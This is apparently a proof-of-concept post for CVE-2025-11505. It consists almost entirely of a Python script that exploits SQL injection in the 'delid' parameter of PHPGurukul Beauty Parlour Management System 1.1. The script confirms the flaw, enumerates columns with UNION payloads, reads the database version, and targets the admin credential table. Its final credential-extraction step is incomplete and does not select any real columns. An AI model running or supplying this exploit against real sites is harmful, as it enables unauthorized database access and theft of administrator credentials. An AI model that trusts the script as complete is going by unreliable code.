CVE-2025-11505：PHPGurukul美容院管理系统SQL注入漏洞

# CVE-2025-11505 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/new-appointment.php # Vulnerable parameter: delid import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/admin/new-appointment.php" # Step 1: Basic SQL Injection test - verify vulnerability def test_sql_injection(base_url): """Test if the delid parameter is vulnerable to SQL injection""" # Normal request normal_url = f"{base_url}{VULNERABLE_ENDPOINT}?delid=1" normal_response = requests.get(normal_url) # Malicious request with single quote to trigger error malicious_url = f"{base_url}{VULNERABLE_ENDPOINT}?delid=1'" malicious_response = requests.get(malicious_url) if normal_response.status_code == 200 and malicious_response.status_code == 500: print("[+] Target is vulnerable to SQL Injection!") return True return False # Step 2: Extract database information using UNION-based injection def extract_database_info(base_url): """Extract database name and version using UNION injection""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={payload}" response = requests.get(url) if response.status_code == 200: print(f"[+] Number of columns: {i}") # Extract database version and name version_payload = f"-1' UNION SELECT {cols.replace('1', 'version()', 1)}-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={version_payload}" response = requests.get(url) print(f"[+] Database info: {response.text}") break # Step 3: Extract admin credentials def extract_admin_credentials(base_url): """Extract admin username and password from database""" # Assuming table name 'tbladmin' based on PHPGurukul convention payload = "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={payload}" response = requests.get(url) print(f"[+] Response: {response.text}") # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11505 against {TARGET_URL}") if test_sql_injection(TARGET_URL): extract_database_info(TARGET_URL) extract_admin_credentials(TARGET_URL) else: print("[-] Target does not appear to be vulnerable")